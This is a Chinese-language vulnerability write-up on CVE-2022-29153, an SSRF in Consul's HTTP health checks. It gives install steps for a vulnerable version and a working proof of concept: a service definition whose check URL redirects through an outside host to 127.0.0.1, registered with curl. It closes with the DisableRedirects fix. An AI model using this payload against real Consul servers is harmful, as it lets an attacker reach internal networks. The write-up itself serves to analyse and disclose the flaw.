CVE-2022-29153 consul SSRF
本文转自cokeBeer 并作补充
漏洞信息
- 漏洞类型:SSRF
- 漏洞版本:< 1.9.17,>= 1.10.0, < 1.10.10,>= 1.11.0, < 1.11.5
- 漏洞简介:http类型的health_check被重定向导致的SSRF
repo介绍
consul是一个用go语言编写的分布式应用管理服务器,目前在github上已经有24.7k个star
漏洞分析
consul提供了对于服务的health_check能力。首先安装一个漏洞版本的consul
1
2
3 curl -fsSL https://apt.releases.hashicorp.com/gpg | sudo apt-key add -
sudo apt-add-repository "deb [arch=amd64] https://apt.releases.hashicorp.com $(lsb_release -cs) main"
sudo apt-get update && sudo apt-get install consul=1.10.9然后启动一个consul服务器
1 consul agent -dev -enable-script-checks -node=web -ui访问
http://localhost:8500/
可以看到consul的界面编写一个
ssrf.json
作为poc,里面标志的http地址会将请求302重定向到127.0.0.1:80
1
2
3
4
5
6
7
8
9
10
11
12
13 {
"ID": "ssrf",
"name": "ssrf",
"port": 5001,
"check": {
"checkid": "ssrf_check",
"name": "Check ssrf",
"http": "http://fuzz.red/ssrf/127.0.0.1/",
"method": "GET",
"interval": "10s",
"timeout": "1s"
}
}使用如下指令将
health_check
注册到consul服务器
1 curl --request PUT --data @ssrf.json http://127.0.0.1:8500/v1/agent/service/register可以看到添加成功
这时consul会主动运行
health_check
,请求被302重定向到内网,导致了SSRF。可以看到nc也收到了请求
修复方式
在agent/config.go中添
加DisableRedirects
字段,可以在服务器端配置,关闭health_check
的重定向